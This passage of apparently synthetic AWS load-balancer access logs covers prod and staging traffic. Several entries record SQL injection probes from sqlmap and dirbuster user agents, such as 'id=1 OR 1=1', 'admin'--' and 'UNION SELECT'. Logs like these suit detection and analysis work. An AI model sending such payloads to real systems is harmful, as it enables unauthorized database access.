7 2024-11-01T00:07:51.019108Z "forward" "-" "-" "124.115.241.12:80" "200" "-" "-" +https 2024-11-01T00:07:51.773215Z prod-web-alb 155.65.52.215:51871 10.0.206.158:443 0.014364 0.095159 0.001324 200 200 741 8586 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b967-d86234ebf87a4abf8635b7a8" "prod-web-alb.example.com" "-" 8 2024-11-01T00:07:51.773215Z "forward" "-" "-" "10.0.206.158:443" "200" "-" "-" +https 2024-11-01T00:07:52.916363Z staging-alb 8.59.20.113:10398 191.218.82.200:80 0.101063 0.694701 0.094199 302 302 468 13813 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b968-f5d0707bf5fb492ab1dc1a89" "staging-alb.example.com" "-" 6 2024-11-01T00:07:52.916363Z "forward" "-" "-" "191.218.82.200:80" "302" "-" "-" +http 2024-11-01T00:07:53.701618Z staging-alb 69.99.223.198:34916 71.209.195.164:8080 0.093217 0.007615 0.119111 200 200 635 7674 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b969-50152d734e14498db048b9d9" "staging-alb.example.com" "-" 5 2024-11-01T00:07:53.701618Z "forward" "-" "-" "71.209.195.164:8080" "200" "-" "-" +https 2024-11-01T00:07:54.757577Z staging-alb 45.155.205.149:47804 200.135.129.127:8080 0.119332 0.719271 0.083138 200 200 273 6427 "POST /search?q=1' UNION SELECT HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b96a-431b2ef2ef3c4557a47734d1" "-" "-" 8 2024-11-01T00:07:54.757577Z "forward" "-" "-" "200.135.129.127:8080" "200" "-" "-" +http 2024-11-01T00:07:55.669259Z staging-alb 150.131.17.229:11978 143.224.182.45:443 0.145890 0.311128 0.064912 200 200 290 3608 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b96b-75c1fbfedb0a42fda8560720" "staging-alb.example.com" "-" 7 2024-11-01T00:07:55.669259Z "forward" "-" "-" "143.224.182.45:443" "200" "-" "-" +http 2024-11-01T00:07:56.812957Z staging-alb 44.124.192.75:53938 88.46.169.50:443 0.098547 0.189219 0.103782 200 200 441 5962 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b96c-f7c795abbefd4ea3927b6726" "staging-alb.example.com" "-" 4 2024-11-01T00:07:56.812957Z "forward" "-" "-" "88.46.169.50:443" "200" "-" "-" +https 2024-11-01T00:07:58.209722Z prod-web-alb 55.221.143.203:17772 10.0.156.127:443 0.063443 0.069238 0.087469 200 200 540 14536 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b96e-495292b11a3a49ca928e8cdc" "prod-web-alb.example.com" "-" 0 2024-11-01T00:07:58.209722Z "forward" "-" "-" "10.0.156.127:443" "200" "-" "-" +https 2024-11-01T00:07:58.764382Z prod-web-alb 185.181.118.169:43675 10.0.114.232:443 0.018903 0.229764 0.096567 500 500 218 10198 "POST /users?id=1 OR 1=1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b96e-3c71be5f1b2a45edb2dd2830" "-" "-" 0 2024-11-01T00:07:58.764382Z "forward" "-" "-" "10.0.114.232:443" "500" "-" "-" +http 2024-11-01T00:07:59.989910Z staging-alb 185.181.118.169:20406 166.177.238.176:443 0.017374 0.500358 0.065699 403 403 583 1688 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b96f-e708a29992824f029cc7cab9" "-" "-" 5 2024-11-01T00:07:59.989910Z "forward" "-" "-" "166.177.238.176:443" "403" "-" "-" +https 2024-11-01T00:08:01.318213Z prod-api-alb 110.64.126.128:37614 10.0.191.106:443 0.049740 0.148650 0.064000 200 200 937 8507 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b971-000d0b45e6014046b40c2fed" "prod-api-alb.example.com" "-" 6 2024-11-01T00:08:01.318213Z "forward" "-" "-" "10.0.191.106:443" "200" "-" "-" +https 2024-11-01T00:08:02.205832Z prod-api-alb 124.208.245.147:11889 10.0.92.158:443 0.018995 0.167451 0.093589 301 301 878 8066 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b972-70f7b57e18ff4dff8bfa6be9" "prod-api-alb.example.com" "-" 9 2024-11-01T00:08:02.205832Z "forward" "-" "-" "10.0.92.158:443" "301" "-" "-" +https 2024-11-01T00:08:03.355183Z staging-alb 249.5.54.148:53698 103.86.244.11:8080 0.024315 0.333266 0.131571 200 200 375 14691 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b973-3c2856ac3f144fe08e494e82" "staging-alb.example.com" "-" 7 2024-11-01T00:08:03.355183Z "forward" "-" "-" "103.86.244.11:8080" "200" "-" "-" +https 2024-11-01T00:08:03.577783Z prod-api-alb 62.170.33.249:41792 10.0.165.178:443 0.076190 0.172463 0.002317 301 301 79 14778 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b973-1442f23e855d4fd794557813" "prod-api-alb.example.com" "-" 1 2024-11-01T00:08:03.577783Z "forward" "-" "-" "10.0.165.178:443" "301" "-" "-" +https 2024-11-01T00:08:04.547914Z prod-api-alb 95.174.193.131:25059 10.0.69.36:443 0.045468 0.028427 0.052473 302 302 362 4195 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b974-f905ba6991804cadbc18a556" "prod-api-alb.example.com" "-" 4 2024-11-01T00:08:04.547914Z "forward" "-" "-" "10.0.69.36:443" "302" "-" "-" +https 2024-11-01T00:08:05.041430Z staging-alb 36.95.47.62:49538 88.172.127.169:8080 0.000986 0.315920 0.005355 200 200 717 4131 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b975-a1483c07a6574b768f9cac44" "staging-alb.example.com" "-" 7 2024-11-01T00:08:05.041430Z "forward" "-" "-" "88.172.127.169:8080" "200" "-" "-" +https 2024-11-01T00:08:07.032245Z prod-web-alb 245.244.68.177:60142 10.0.169.213:443 0.013854 0.422883 0.072734 302 302 639 4876 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b977-92f2e77a0aee40a792891127" "prod-web-alb.example.com" "-" 5 2024-11-01T00:08:07.032245Z "forward" "-" "-" "10.0.169.213:443" "302" "-" "-" +https 2024-11-01T00:08:08.271160Z staging-alb 32.206.185.95:13012 225.73.205.22:443 0.083861 0.648613 0.121056 404 404 904 5965 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b978-7483fdab38514a869ac496da" "staging-alb.example.com" "-" 9 2024-11-01T00:08:08.271160Z "forward" "-" "-" "225.73.205.22:443" "404" "-" "-" +https 2024-11-01T00:08:08.373922Z prod-api-alb 231.16.105.163:29479 10.0.108.18:443 0.060029 0.393445 0.060803 200 200 370 5460 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b978-30cf59aef8a64ba7ad0916ec" "prod-api-alb.example.com" "-" 6 2024-11-01T00:08:08.373922Z "forward" "-" "-" "10.0.108.18:443" "200" "-" "-" +https 2024-11-01T00:08:08.910076Z staging-alb 172.91.3.155:41870 21.172.46.46:80 0.036036 0.703587 0.054299 200 200 487 10359 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b978-748a050062654b8783a6db94" "staging-alb.example.com" "-" 0 2024-11-01T00:08:08.910076Z "forward" "-" "-" "21.172.46.46:80" "200" "-" "-" +https 2024-11-01T00:08:10.243602Z prod-api-alb 132.204.206.152:10906 10.0.231.26:443 0.052146 0.348847 0.015920 200 200 153 7749 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b97a-9dbed59cf5fd497ab205734c" "prod-api-alb.example.com" "-" 5 2024-11-01T00:08:10.243602Z "forward" "-" "-" "10.0.231.26:443" "200" "-" "-" +https 2024-11-01T00:08:10.639688Z prod-api-alb 254.93.17.37:61899 10.0.205.43:443 0.067937 0.425193 0.053309 200 200 365 4363 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b97a-56f79c7f5c784aed99357d82" "prod-api-alb.example.com" "-" 0 2024-11-01T00:08:10.639688Z "forward" "-" "-" "10.0.205.43:443" "200" "-" "-" +https 2024-11-01T00:08:11.100906Z prod-web-alb 203.96.88.93:64484 10.0.237.253:443 0.009626 0.274353 0.034018 302 302 15 12441 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b97b-7182ac524f2a4ba992d46998" "prod-web-alb.example.com" "-" 6 2024-11-01T00:08:11.100906Z "forward" "-" "-" "10.0.237.253:443" "302" "-" "-" +https 2024-11-01T00:08:11.870244Z staging-alb 57.209.98.238:43116 161.110.220.64:8080 0.113734 0.031438 0.094536 302 302 355 10747 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b97b-bf31f49a7265406a979604c3" "staging-alb.example.com" "-" 9 2024-11-01T00:08:11.870244Z "forward" "-" "-" "161.110.220.64:8080" "302" "-" "-" +https 2024-11-01T00:08:12.150254Z prod-web-alb 44.185.42.49:37771 10.0.180.137:443 0.037577 0.128512 0.022397 404 404 323 9875 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b97c-2546dd0c327f42e2895a7a90" "-" "-" 0 2024-11-01T00:08:12.150254Z "forward" "-" "-" "10.0.180.137:443" "404" "-" "-" +https 2024-11-01T00:08:12.350092Z prod-api-alb 167.124.124.161:33368 10.0.160.226:443 0.090781 0.447998 0.071865 200 200 752 6879 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b97c-7f11a91625de42d8a6eed82b" "prod-api-alb.example.com" "-" 6 2024-11-01T00:08:12.350092Z "forward" "-" "-" "10.0.160.226:443" "200" "-" "-" +https 2024-11-01T00:08:13.002227Z prod-web-alb 232.87.29.98:27568 10.0.204.53:443 0.087172 0.230171 0.073653 200 200 651 12038 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b97d-20c6ef9072f643d1a1237afc" "prod-web-alb.example.com" "-" 6 2024-11-01T00:08:13.002227Z "forward" "-" "-" "10.0.204.53:443" "200" "-" "-" +https 2024-11-01T00:08:14.016848Z staging-alb 45.155.205.149:29505 16.3.138.36:8080 0.031526 0.125212 0.065150 403 403 97 11030 "POST /login?id=1'-- HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b97e-04a72ea28da0412d96c5d200" "-" "-" 10 2024-11-01T00:08:14.016848Z "forward" "-" "-" "16.3.138.36:8080" "403" "-" "-" +https 2024-11-01T00:08:14.952430Z prod-web-alb 229.237.174.127:42379 10.0.136.77:443 0.086847 0.402979 0.033825 200 200 681 919 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b97e-05f5de7822574977a3dc9e36" "prod-web-alb.example.com" "-" 9 2024-11-01T00:08:14.952430Z "forward" "-" "-" "10.0.136.77:443" "200" "-" "-" +https 2024-11-01T00:08:15.358635Z prod-api-alb 158.229.12.104:48838 10.0.123.171:443 0.085937 0.096820 0.040442 200 200 784 13011 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b97f-de29aedf38664de099487138" "prod-api-alb.example.com" "-" 9 2024-11-01T00:08:15.358635Z "forward" "-" "-" "10.0.123.171:443" "200" "-" "-" +https 2024-11-01T00:08:16.743106Z prod-web-alb 170.255.149.115:60097 10.0.13.55:443 0.059707 0.434381 0.034717 200 200 445 7712 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b980-ae4e9239fd1549158968057a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:08:16.743106Z "forward" "-" "-" "10.0.13.55:443" "200" "-" "-" +https 2024-11-01T00:08:17.433294Z prod-web-alb 204.218.83.195:55785 10.0.66.124:443 0.047865 0.347202 0.011534 200 200 589 6451 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b981-5ff96f5ef0534f4eb0433cd8" "prod-web-alb.example.com" "-" 4 2024-11-01T00:08:17.433294Z "forward" "-" "-" "10.0.66.124:443" "200" "-" "-" +https 2024-11-01T00:08:18.658653Z prod-api-alb 168.104.151.189:59355 10.0.232.253:443 0.014094 0.035309 0.011687 302 302 994 12772 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b982-5e3d94bbf73c43db8be0a0a5" "-" "-" 7 2024-11-01T00:08:18.658653Z "forward" "-" "-" "10.0.232.253:443" "302" "-" "-" +https 2024-11-01T00:08:19.736676Z prod-api-alb 245.81.197.135:35134 10.0.197.35:443 0.011282 0.306298 0.034423 302 302 253 14310 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b983-ad0957c3badb4c42988fa848" "prod-api-alb.example.com" "-" 7 2024-11-01T00:08:19.736676Z "forward" "-" "-" "10.0.197.35:443" "302" "-" "-" +https 2024-11-01T00:08:20.164076Z staging-alb 114.90.76.58:55112 196.20.129.27:80 0.095322 0.240220 0.029907 200 200 711 13168 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b984-94c7bd1446ab4ca5ac8b3aba" "staging-alb.example.com" "-" 3 2024-11-01T00:08:20.164076Z "forward" "-" "-" "196.20.129.27:80" "200" "-" "-" +http 2024-11-01T00:08:21.358169Z staging-alb 94.152.40.123:57867 55.60.101.0:8080 0.142223 0.129986 0.126827 302 302 198 2202 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b985-5d6ea24b1e474592b94f58ae" "staging-alb.example.com" "-" 0 2024-11-01T00:08:21.358169Z "forward" "-" "-" "55.60.101.0:8080" "302" "-" "-" +http 2024-11-01T00:08:22.367719Z staging-alb 196.131.232.68:60917 226.161.17.76:443 0.109527 0.195052 0.035628 200 200 240 7231 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b986-33ed802bd48547f7bf941b7b" "staging-alb.example.com" "-" 3 2024-11-01T00:08:22.367719Z "forward" "-" "-" "226.161.17.76:443" "200" "-" "-" +https 2024-11-01T00:08:22.581525Z prod-api-alb 253.129.45.247:11211 10.0.115.140:443 0.065931 0.250927 0.038569 302 302 227 7675 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b986-48e5180ccc77489eb5221d86" "prod-api-alb.example.com" "-" 10 2024-11-01T00:08:22.581525Z "forward" "-" "-" "10.0.115.140:443" "302" "-" "-" +http 2024-11-01T00:08:22.993028Z staging-alb 247.173.180.239:12673 30.239.118.135:8080 0.076922 0.714493 0.013373 302 302 691 7243 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b986-3654abd2524f4ecba95f4f6e" "staging-alb.example.com" "-" 5 2024-11-01T00:08:22.993028Z "forward" "-" "-" "30.239.118.135:8080" "302" "-" "-" +https 2024-11-01T00:08:23.840555Z prod-web-alb 110.214.66.30:60709 10.0.185.203:443 0.095533 0.122323 0.029397 200 200 358 2930 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b987-f269b1d8f01b4671bc071ed7" "prod-web-alb.example.com" "-" 8 2024-11-01T00:08:23.840555Z "forward" "-" "-" "10.0.185.203:443" "200" "-" "-" +https 2024-11-01T00:08:24.047332Z prod-web-alb 83.248.200.2:63672 10.0.102.79:443 0.041913 0.416294 0.003151 200 200 68 5447 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b988-38ad1d1111a845f18099e00a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:08:24.047332Z "forward" "-" "-" "10.0.102.79:443" "200" "-" "-" +https 2024-11-01T00:08:25.943194Z prod-web-alb 150.105.203.179:12513 10.0.236.253:443 0.014543 0.175132 0.040060 200 200 8 7124 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b989-af186b76d3a74b8ea0fce00b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:08:25.943194Z "forward" "-" "-" "10.0.236.253:443" "200" "-" "-" +https 2024-11-01T00:08:26.883171Z prod-web-alb 194.245.120.7:48622 10.0.86.53:443 0.071092 0.460258 0.001612 200 200 948 5620 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b98a-80933ef11874465db2aaf955" "prod-web-alb.example.com" "-" 4 2024-11-01T00:08:26.883171Z "forward" "-" "-" "10.0.86.53:443" "200" "-" "-" +https 2024-11-01T00:08:27.079566Z prod-web-alb 113.118.186.129:25507 10.0.164.141:443 0.027921 0.476121 0.001236 200 200 988 946 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b98b-dff509e05f334a6392a8573e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:08:27.079566Z "forward" "-" "-" "10.0.164.141:443" "200" "-" "-" +https 2024-11-01T00:08:27.976599Z prod-api-alb 202.166.131.141:37430 10.0.176.6:443 0.094791 0.272994 0.076585 200 200 900 8804 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b98b-5b0f1055159a4906824f4d73" "prod-api-alb.example.com" "-" 6 2024-11-01T00:08:27.976599Z "forward" "-" "-" "10.0.176.6:443" "200" "-" "-" +https 2024-11-01T00:08:29.308051Z prod-web-alb 11.88.115.33:17051 10.0.162.151:443 0.099455 0.227584 0.044944 302 302 84 2262 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b98d-d09de0cb00814c9bbd17ded6" "prod-web-alb.example.com" "-" 2 2024-11-01T00:08:29.308051Z "forward" "-" "-" "10.0.162.151:443" "302" "-" "-" +https 2024-11-01T00:08:31.196690Z prod-api-alb 59.116.173.233:46894 10.0.157.193:443 0.011762 0.294574 0.083389 404 404 854 872 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b98f-1fb8f121758b4e788356a9f3" "prod-api-alb.example.com" "-" 6 2024-11-01T00:08:31.196690Z "forward" "-" "-" "10.0.157.193:443" "404" "-" "-" +https 2024-11-01T00:08:32.513302Z prod-api-alb 30.248.102.173:39636 10.0.208.38:443 0.060798 0.206072 0.042200 302 302 884 13953 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b990-9d97584755e7499392d0c272" "prod-api-alb.example.com" "-" 8 2024-11-01T00:08:32.513302Z "forward" "-" "-" "10.0.208.38:443" "302" "-" "-" +https 2024-11-01T00:08:33.116212Z prod-api-alb 183.192.27.221:53478 10.0.235.23:443 0.062468 0.031848 0.098732 301 301 48 5452 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b991-d1b8fed42f414b47a2516eee" "prod-api-alb.example.com" "-" 1 2024-11-01T00:08:33.116212Z "forward" "-" "-" "10.0.235.23:443" "301" "-" "-" +https 2024-11-01T00:08:33.345943Z prod-api-alb 222.175.170.30:14901 10.0.149.6:443 0.068802 0.154121 0.093153 200 200 201 4646 